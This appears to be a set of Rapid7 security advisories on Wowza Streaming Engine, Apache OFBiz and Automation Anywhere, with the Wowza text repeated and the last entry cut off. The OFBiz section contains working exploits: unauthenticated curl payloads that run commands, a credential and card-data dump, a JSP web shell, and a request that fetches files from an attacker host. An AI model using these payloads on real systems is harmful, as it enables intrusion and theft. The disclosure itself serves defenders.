Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Wowza Streaming Engine below v4.9.1 is vulnerable to multiple vulnerabilities on Linux and Windows. An unauthenticated attacker can poison the Wowza Streaming Engine Manager web dashboard with a stored cross-site scripting (“XSS”) payload. When an administrator views the poisoned dashboard, additional authenticated vulnerabilities will automatically be exploited for remote code execution on the underlying server. The code execution context is privileged: root on Linux, LocalSystem on Windows. These vulnerabilities are tracked as CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056. All five were patched on November 20, 2024, with the release of Wowza Streaming Engine v4.9.1.

Product description

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application.

Credit

These issues were reported to the Wowza Media Systems team by Ryan Emmons, Lead Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Wowza team for their assistance and collaboration.

Vulnerability details

The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research. Rapid7 identified multiple security vulnerabilities as part of this research project, and those vulnerabilities are outlined in the table below.

CVE Description CVSS
CVE-2024-52052 An authenticated administrator can define a custom application property and poison a stream target for high-privilege remote code execution. 9.4
CVE-2024-52053 An unauthenticated attacker can inject client-side JavaScript into the administrator dashboard to automatically hijack admin accounts. 8.7
CVE-2024-52054 An injection permits an administrator user to create an XML file anywhere on the file system. 5.1
CVE-2024-52055 An injection permits an administrator user to read any file on the file system if the target directory contains an XML file. 8.2
CVE-2024-52056 An injection permits an administrator user to delete any directory on the host system if the target directory contains an XML file. 6.9

Exploitation was tested against Wowza Streaming Engine on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. Based on information provided by the vendor, the unauthenticated injection vulnerability affects all Wowza Streaming Engine Manager versions, while the four authenticated vulnerabilities were introduced in v4.3.0.

Vendor statement

“We at Wowza Media Systems are focused on security excellence, and by partnering with trusted researchers like Rapid7, we proactively respond to and fix vulnerabilities to safeguard our customers' interests.”

Mitigation guidance

Per to the vendor, issues in this disclosure can be remediated by upgrading to Wowza Streaming Engine version 4.9.1 or any future version.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 with authenticated vulnerability checks expected to be available in the November 20, 2024 content release.

Disclosure timeline

July 30, 2024 - September 3, 2024: Rapid7 attempts to contact the vendor to disclose vulnerabilities discovered in Wowza Streaming Engine.
September 3, 2024: Rapid7 makes contact with the vendor, who acknowledges disclosure materials.
September 5, 2024 - September 18, 2024: Rapid7 and vendor discuss coordinated vulnerability disclosure steps and timeline.
October 2, 2024: Vendor communicates Q4 remediation timeline.
October 31, 2024: Patch shared with Rapid7 for testing.
November 4, 2024: Rapid7 confirms the patch is successful.
November 5, 2024: Rapid7 provides CVE IDs.
November 15, 2024: Vendor proposes Wednesday, November 20 for coordinated vulnerability disclosure. Rapid7 agrees.
November 20, 2024: This disclosure.

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Wowza Streaming Engine below v4.9.1 is vulnerable to multiple vulnerabilities on Linux and Windows. An unauthenticated attacker can poison the Wowza Streaming Engine Manager web dashboard with a stored cross-site scripting (“XSS”) payload. When an administrator views the poisoned dashboard, additional authenticated vulnerabilities will automatically be exploited for remote code execution on the underlying server. The code execution context is privileged: root on Linux, LocalSystem on Windows. These vulnerabilities are tracked as CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056. All five were patched on November 20, 2024, with the release of Wowza Streaming Engine v4.9.1.

Product description

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application.

Credit

These issues were reported to the Wowza Media Systems team by Ryan Emmons, Lead Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Wowza team for their assistance and collaboration.

Vulnerability details

The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research. Rapid7 identified multiple security vulnerabilities as part of this research project, and those vulnerabilities are outlined in the table below.

CVE Description CVSS
CVE-2024-52052 An authenticated administrator can define a custom application property and poison a stream target for high-privilege remote code execution. 9.4
CVE-2024-52053 An unauthenticated attacker can inject client-side JavaScript into the administrator dashboard to automatically hijack admin accounts. 8.7
CVE-2024-52054 An injection permits an administrator user to create an XML file anywhere on the file system. 5.1
CVE-2024-52055 An injection permits an administrator user to read any file on the file system if the target directory contains an XML file. 8.2
CVE-2024-52056 An injection permits an administrator user to delete any directory on the host system if the target directory contains an XML file. 6.9

Exploitation was tested against Wowza Streaming Engine on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. Based on information provided by the vendor, the unauthenticated injection vulnerability affects all Wowza Streaming Engine Manager versions, while the four authenticated vulnerabilities were introduced in v4.3.0.

Vendor statement

“We at Wowza Media Systems are focused on security excellence, and by partnering with trusted researchers like Rapid7, we proactively respond to and fix vulnerabilities to safeguard our customers' interests.”

Mitigation guidance

Per to the vendor, issues in this disclosure can be remediated by upgrading to Wowza Streaming Engine version 4.9.1 or any future version.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 with authenticated vulnerability checks expected to be available in the November 20, 2024 content release.

Disclosure timeline

July 30, 2024 - September 3, 2024: Rapid7 attempts to contact the vendor to disclose vulnerabilities discovered in Wowza Streaming Engine.
September 3, 2024: Rapid7 makes contact with the vendor, who acknowledges disclosure materials.
September 5, 2024 - September 18, 2024: Rapid7 and vendor discuss coordinated vulnerability disclosure steps and timeline.
October 2, 2024: Vendor communicates Q4 remediation timeline.
October 31, 2024: Patch shared with Rapid7 for testing.
November 4, 2024: Rapid7 confirms the patch is successful.
November 5, 2024: Rapid7 provides CVE IDs.
November 15, 2024: Vendor proposes Wednesday, November 20 for coordinated vulnerability disclosure. Rapid7 agrees.
November 20, 2024: This disclosure.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server. Exploitation is facilitated by bypassing previous patches for CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856; this patch bypass vulnerability is tracked as CVE-2024-45195.

Product Description

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. The software has features for accounting, catalog and supply chain management, storing payment information, and more. Apache OFBiz is used by numerous large organizations, and previously disclosed vulnerabilities for it have seen exploitation in the wild.

Credit

This issue was reported to the Apache OFBiz team by Ryan Emmons, Lead Security Researcher at Rapid7, as well as by several other researchers. The vulnerability is being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Apache OFBiz open-source community developers for their assistance and collaboration on this issue.

Vulnerability Context

A handful of unauthenticated code execution CVEs for Apache OFBiz have been published in 2024. In August, the Cybersecurity and Infrastructure Security Agency added one of them, CVE-2024-32113, to its Known Exploited Vulnerabilities catalog. Based on our analysis, three of these vulnerabilities are, essentially, the same vulnerability with the same root cause. Since the patch bypass we are disclosing today elaborates on those previous disclosures, we’ll outline them now.

CVE-2024-32113

The first vulnerability in this sequence, CVE-2024-32113, was published on May 8, 2024, and it affected installs before v18.12.13. The OFBiz CVE entry describes this vulnerability as a path traversal vulnerability (CWE-22). When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented; controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map.

As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

An authenticated administrator view map called “ProgramExport” will execute Groovy scripts, and this view map can be leveraged to execute arbitrary code without authentication. An example payload for this vulnerability, which uses path traversal to fragment the controller-view map state, is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/../ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

The OFBiz Jira issue for the vulnerability has the description “Some URLs need to be rejected before they create problems”, which is how a fix was implemented. The remediation changes included code that attempted to normalize URLs before resolving the controller and the view map being fetched. That patch was released as v18.12.13.

CVE-2024-36104

The second CVE entry in this sequence, CVE-2024-36104 was published on June 4, 2024. The vulnerability was again described as a path traversal, and the OFBiz Jira issue description is “Better avoid special encoded characters sequences”. Though the patch is made up of multiple commits, the bulk of the remediation was implemented in bc856f46f8, with the following code added to remove semicolons and URL-encoded periods from the URI.

                    String uRIFiltered = new URI(initialURI)
                            .normalize().toString()
                            .replaceAll(";", "")
                            .replaceAll("(?i)%2e", "");
                    if (!initialURI.equals(uRIFiltered)) {
                        Debug.logError("For security reason this URL is not accepted", MODULE);
                        throw new RuntimeException("For security reason this URL is not accepted");

This CVE was patched in v18.12.14.

Two different example payloads for this vulnerability are shown below, one for each of the sequences stripped by the implemented fix. Both of these payloads also work against OFBiz installations affected by the previous CVE-2024-32113, since the vulnerability has the same root cause.

curl 'https://target:8443/webtools/control/forgotPassword/;/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is
curl 'https://target:8443/webtools/control/forgotPassword/%2e%2e/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k --path-as-is

CVE-2024-38856

The third vulnerability in this sequence, CVE-2024-38856, was published on August 5, 2024. This time, the vulnerability was described as an incorrect authorization issue. The CVE’s description states “Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).” This more accurately describes the issue. As we’ll see in a moment, it also indicates the approach taken for the fix this time.

SonicWall’s research team, who reported the vulnerability to the OFBiz team, published an excellent blog post that nicely explains the root cause and focuses on the controller-view map state fragmentation, rather than just the method used to trigger it. Amazingly, their blog post reports that a traversal or semicolon sequence was never needed at all! A request to a path like /webtools/control/forgotPassword/ProgramExport would result in the controller being set to “forgotPassword” and the view map being set to “ProgramExport”.

An example payload for this vulnerability is shown below.

curl 'https://target:8443/webtools/control/forgotPassword/ProgramExport' -d "groovyProgram=throw+new+Exception('echo cmd output: `id`'.execute().text);" -vvv -k

This payload also works for systems affected by CVE-2024-32113 and CVE-2024-36104, since the root cause is the same for all three.

The OFBiz Jira issue for this vulnerability is titled “Add permission check for ProgramExport and EntitySQLProcessor”. That’s exactly what the fix does; the fix adds a permission check for ProgramExport and EntitySQLProcessor, two view maps targeted by previous exploits. The three lines below were added to both Groovy files associated with those view maps, effectively preventing access to them without authentication.

if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
    return
}

As a result, both exploit techniques were no longer viable. However, the underlying problem, the ability to fragment the controller-view map state, was not resolved by the v18.12.15 patch.

Exploitation

To recap, all three of the previous vulnerabilities were caused by the same shared underlying issue, the ability to desynchronize the controller and view map state. That flaw was not fully addressed by any of the patches. At the time of our research, the requestUri and overrideViewUri variables could still be desynchronized in the manner described in the SonicWall blog post, albeit not to reach ProgramExport or EntitySQLProcessor. Our testing target was v18.12.15, the latest version available at the time of research.

The framework/webtools/widget/EntityScreens.xml file defines some EntityScreens that might be leveraged by an attacker.

$ grep 'script' framework/webtools/widget/EntityScreens.xml
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntitySQLProcessor.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ProgramExport.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityMaint.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/FindGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewGeneric.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ViewRelations.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRef.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/EntityRefList.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/CheckDb.groovy"/>
                <script location="component://webtools/src/test/groovy/org/apache/ofbizwebtools/entity/EntityPerformanceTest.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/XmlDsDump.groovy"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/entity/ModelInduceFromDb.groovy"/>
[..SNIP..]

We can’t useProgramExport or EntitySQLProcessor this time, since authorization checks are now enforced. However, an attacker can leverage another view to exploit the application without authentication. A screenshot of the XML Data Export admin dashboard feature for one possible Groovy view screen option, XmlDsDump, is below.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

As shown above, the XmlDsDump view can be used to query the database for virtually any stored data and write the resulting data to an arbitrarily named file anywhere on disk. Notably, the affiliated Groovy script XmlDsDump.groovy does not enforce authorization checks.

As a proof of concept, we’ll try to desynchronize the controller-view map state to access the “dump” view without authentication. The following cURL request will attempt to dump all usernames, passwords, and credit card numbers stored by Apache OFBiz into a web-accessible directory.

curl 'https://target:8443/webtools/control/forgotPassword/xmldsdump' -d "outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename=stolen.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard" -k

Watching the request in a debugger confirms that the requestUri and overrideViewUri value confusion is still possible in RequestHandler.java. This is depicted in the screenshot below, where our cURL request has resulted in requestUri being set to the unauthenticated endpoint and overrideViewUri being set to the authenticated view.
CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

After the request completes, a second unauthenticated cURL request confirms that the operation completed successfully.

$ curl 'https://target:8443/common/stolen.txt' -k
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
    <CreditCard paymentMethodId="AMEX_01" cardType="CCT_AMERICANEXPRESS" cardNumber="378282246310005" expireDate="02/2100" companyNameOnCard="Your Company Name" firstNameOnCard="Smart" lastNameOnCard="Guy" contactMechId="9000" lastUpdatedStamp="2024-08-15 23:31:30.077" lastUpdatedTxStamp="2024-08-15 23:31:28.811" createdStamp="2024-08-15 23:31:30.077" createdTxStamp="2024-08-15 23:31:28.811"/>
    <CreditCard paymentMethodId="9015" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="DEMO" lastNameOnCard="CUSTOMER" contactMechId="9015" lastUpdatedStamp="2024-08-15 23:31:48.815" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.815" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="EUROCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="EURO" lastNameOnCard="CUSTOMER" contactMechId="EUROCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.898" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.898" createdTxStamp="2024-08-15 23:31:36.309"/>
    <CreditCard paymentMethodId="FRENCHCUSTOMER" cardType="CCT_VISA" cardNumber="4111111111111111" expireDate="02/2100" firstNameOnCard="FRENCH" lastNameOnCard="CUSTOMER" contactMechId="FRENCHCUSTOMER" lastUpdatedStamp="2024-08-15 23:31:48.967" lastUpdatedTxStamp="2024-08-15 23:31:36.309" createdStamp="2024-08-15 23:31:48.967" createdTxStamp="2024-08-15 23:31:36.309"/>
    <UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2024-08-15 23:31:10.984" lastUpdatedTxStamp="2024-08-15 23:31:10.9" createdStamp="2024-08-15 23:31:06.603" createdTxStamp="2024-08-15 23:31:06.515" partyId="system"/>
    <UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2024-08-15 23:31:06.637" lastUpdatedTxStamp="2024-08-15 23:31:06.515" createdStamp="2024-08-15 23:31:06.637" createdTxStamp="2024-08-15 23:31:06.515"/>
    <UserLogin userLoginId="admin" currentPassword="{SHA}47b56992cbc2b6d10aa1be30f20165adb305a41a" enabled="Y" lastTimeZone="America/Chicago" successiveFailedLogins="2" lastUpdatedStamp="2024-08-16 01:12:07.386" lastUpdatedTxStamp="2024-08-16 01:12:07.386" createdStamp="2024-08-15 23:31:25.561" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="flexadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.341" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.564" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="demoadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.342" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.565" createdTxStamp="2024-08-15 23:31:25.556" partyId="admin"/>
    <UserLogin userLoginId="ltdadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.343" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.566" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin"/>
    <UserLogin userLoginId="ltdadmin1" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.344" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.567" createdTxStamp="2024-08-15 23:31:25.556" partyId="ltdadmin1"/>
    <UserLogin userLoginId="bizadmin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" lastUpdatedStamp="2024-08-15 23:31:26.345" lastUpdatedTxStamp="2024-08-15 23:31:26.278" createdStamp="2024-08-15 23:31:25.568" createdTxStamp="2024-08-15 23:31:25.556" partyId="bizadmin"/>
[..SNIP..]

The password hashes and credit card numbers have been written to an accessible file in the web root, demonstrating exploitation via patch bypass. It’s likely that cracking a user password hash would succeed in a real-world attack, since the password hashing algorithm is a weak one. However, to avoid having to crack any hashes, we also leveraged the vulnerability to achieve remote code execution.

Within controller.xml, a view map called viewdatafile is defined at [0].

[..SNIP..]
    <view-map name="xmldsdump" type="screen" page="component://webtools/widget/EntityScreens.xml#xmldsdump"/>
    <view-map name="xmldsrawdump" page="template/entity/xmldsrawdump.jsp"/>

    <view-map name="FindUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCache"/>
    <view-map name="FindUtilCacheElements" type="screen" page="component://webtools/widget/CacheScreens.xml#FindUtilCacheElements"/>
    <view-map name="EditUtilCache" type="screen" page="component://webtools/widget/CacheScreens.xml#EditUtilCache"/>

    <view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/> [0]

    <view-map name="LogConfiguration" type="screen" page="component://webtools/widget/LogScreens.xml#LogConfiguration"/>
    <view-map name="LogView" type="screen" page="component://webtools/widget/LogScreens.xml#LogView"/>
    <view-map name="FetchLogs" type="screen" page="component://webtools/widget/LogScreens.xml#FetchLogs"/>
[..SNIP..]

Within framework/webtools/widget/MiscScreens.xml, viewdatafile is associated with the script ViewDataFile.groovy (at [1]).

[..SNIP..]
    <screen name="viewdatafile">
        <section>
            <actions>
                <set field="headerItem" value="main"/>
                <set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
                <set field="tabButtonItem" value="data"/>
                <script location="component://webtools/src/main/groovy/org/apache/ofbiz/webtools/datafile/ViewDataFile.groovy"/> [1]
            </actions>
            <widgets>
                <decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
                    <decorator-section name="body">
                        <screenlet>
                            <platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
                        </screenlet>
                    </decorator-section>
                </decorator-screen>
            </widgets>
        </section>
    </screen>
[..SNIP..]

That script is below. It checks for various request parameters (starting at [2]) to perform file operations. At [3], if DATAFILE_SAVE is present and a datafile was parsed, the datafile contents will be written to the disk location specified by DATAFILE_SAVE.

package org.apache.ofbiz.webtools.datafile

import org.apache.ofbiz.base.util.Debug
import org.apache.ofbiz.base.util.UtilProperties
import org.apache.ofbiz.base.util.UtilURL
import org.apache.ofbiz.datafile.DataFile
import org.apache.ofbiz.datafile.DataFile2EntityXml
import org.apache.ofbiz.datafile.ModelDataFileReader

uiLabelMap = UtilProperties.getResourceBundleMap('WebtoolsUiLabels', locale)
messages = []

dataFileSave = request.getParameter('DATAFILE_SAVE') [2]

entityXmlFileSave = request.getParameter('ENTITYXML_FILE_SAVE')

dataFileLoc = request.getParameter('DATAFILE_LOCATION')
definitionLoc = request.getParameter('DEFINITION_LOCATION')
definitionName = request.getParameter('DEFINITION_NAME')
dataFileIsUrl = null != request.getParameter('DATAFILE_IS_URL')
definitionIsUrl = null != request.getParameter('DEFINITION_IS_URL')

try {
    dataFileUrl = dataFileIsUrl ? UtilURL.fromUrlString(dataFileLoc) : UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

try {
    definitionUrl = definitionIsUrl ? UtilURL.fromUrlString(definitionLoc) : UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

definitionNames = null
if (definitionUrl) {
    try {
        ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
        if (reader) {
            definitionNames = ((Collection)reader.getDataFileNames()).iterator()
            context.put('definitionNames', definitionNames)
        }
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
    try {
        dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
        context.put('dataFile', dataFile)
    }
    catch (Exception e) {
        messages.add(e.toString()); Debug.log(e)
    }
}

if (dataFile) {
    modelDataFile = dataFile.getModelDataFile()
    context.put('modelDataFile', modelDataFile)
}

if (dataFile && dataFileSave) { [3]
    try {
        dataFile.writeDataFile(dataFileSave)
        messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

if (dataFile && entityXmlFileSave) {
    try {
        //dataFile.writeDataFile(entityXmlFileSave)
        DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
        messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}
context.messages = messages

Apache OFBiz also ships with some example data files in datafiles.adoc. An excerpt of that text is included below.

[..SNIP..]
== Examples

=== Sample fixed width CSV file posreport.csv to be imported:
.An example of fixed width flat file import.
[source,csv]

021196033702    ,5031BB GLITTER GLUE PENS BRIGH  ,1           ,5031BB      ,       1,     299,
021196043121    ,BB4312 WONDERFOAM ASSORTED      ,1           ,BB4312      ,       1,     280,
021196055025    ,9905BB  PLUMAGE MULTICOLOURED   ,1           ,9905BB      ,       4,     396,

=== Sample xml definition file for importing select columns
.Sample xml definition file for importing select columns posschema.xml:
[source,xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="posreport" separator-style="fixed-length" type-code="text">
            <record name="tillentry" limit="many">
                <field name="tillCode" type="String" length="16" position="0"></field>
                <field name="name" type="String" length="32" position="17"></field>
                <field name="prodCode" type="String" length="12" position="63"></field>
                <field name="quantity" type="String" length="8" position="76"></field>
                <field name="totalPrice" type="String" length="8" position="85"></field>
            </record>
        </data-file>
    </data-files>

.Another example reading fixed record little endian binary files
[source, xml]
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="stockdata" separator-style="fixed-record" type-code="text" record-length="768">
            <record name="stockdataitem" limit="many">
                <field name="barcode" type="NullTerminatedString" length="12" position="0"></field>
                <field name="prodCode" type="NullTerminatedString" length="12" position="68"></field>
                <field name="price" type="LEInteger" length="4" position="80"></field>
                <field name="name" type="NullTerminatedString" length="30" position="16"></field>
            </record>
        </data-file>
    </data-files>

=== Procedure:
In the interface enter something like:

. Definition Filename or URL: posschema.xml
. Data File Definition Name: posreport
. Data Filename or URL: posreport.csv

This information is very helpful for contextualizing what we learned from the Groovy script. We’ll need to provide an XML definition file location, a data file XML definition name, a CSV data file location, and a file path to save the extracted data from the CSV. We’ll also need to specify that both our definition file location and CSV location are remote URLs, which we can do via the DEFINITION_IS_URL and DATAFILE_IS_URL parameters.

Below is our malicious definition file, rceschema.xml. We define a “jsp” String field within a record in the datafile. In the XML, this represents our JSP web shell that will be written to the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>

Next, we’ll need a CSV containing a single line with a single value, our JSP web shell. This value is 605 characters long, as indicated in our XML definition. Since we’re injecting our payload into a CSV context, we’ll build a string in the JSP to avoid any commas, and we’ll delimit the payload with a comma.

$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

Lastly, we’ll start a Python web server listening on port 80 of our attack machine, then perform a cURL request to exploit the vulnerability.

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

After the server fetches and processes our two files, browsing the targeted accounting/index.jsp path confirms that we’ve established unauthenticated remote code execution.

CVE-2024-45195: Apache OFBiz Unauthenticated Remote Code Execution (Fixed)

Remediation

We’d like to thank the Apache OFBiz team, who quickly responded to our disclosure and patched the vulnerability in v18.12.16. In this patch, authorization checks were implemented for the view. This change validates that a view should permit anonymous access if a user is unauthenticated, rather than performing authorization checks purely based on the target controller. OFBiz users should update to the fixed version as soon as possible.

Rapid7 Customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-32113, CVE-2024-36104, CVE-2024-38856, and CVE-2024-45195 with vulnerability checks expected to be available in today’s (Thursday, September 5) content release.

Disclosure Timeline

  • August 16, 2024: Rapid7 contacts the Apache OFBiz security team via email.
  • August 17, 2024: Apache OFBiz community developer acknowledges report.
  • August 20, 2024: Apache OFBiz community developer indicates that the team has a solution.
  • August 22, 2024: CVE-2024-45195 reserved by Apache community dev team.
  • August 24, 2024: Patch sent to Rapid7 for testing.
  • August 28, 2024: Rapid7 confirms the patch is sufficient to prevent this vector of exploitation.
  • August 29, 2024: Apache OFBiz developer indicates patch ETA is early September 2024.
  • September 4, 2024: Apache OFBiz advisory published for CVE-2024-45195 (and other vulnerabilities).
  • September 5, 2024: This disclosure.
CVE-2024-6922: Automation Anywhere Automation 360 Server-Side Request Forgery

Automation 360 Robotic Process Automation suite v21-v32 is vulnerable to unauthenticated Server-Side Request Forgery (SSRF). SSRF occurs when the server can be induced to perform arbitrary requests on behalf of an attacker. An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.

Product Description

Automation Anywhere Automation 360 is a leading Robotic Process Automation suite, used by many private-sector businesses and government agencies. Its primary purpose is low-code automated workflow creation and task orchestration. A primary “Control Room” server communicates with client agents, and those client agents execute automated “bot” workflows. These workflows leverage extensible feature modules that facilitate activities like automated web browsing, SQL database interop, and execution of various types of scripts and compiled binaries via the client agent.

This security research project was specifically focused on the unauthenticated attack surface of the Control Room server. Based on attack surface reconnaissance, approximately 3,500 Control Room servers are exposed to the public internet.

Credit

This issue was discovered by Ryan Emmons, Lead Security Researcher at Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to Automation Anywhere for their prompt assistance evaluating and coordinating a disclosure for this issue.

Vendor Statement

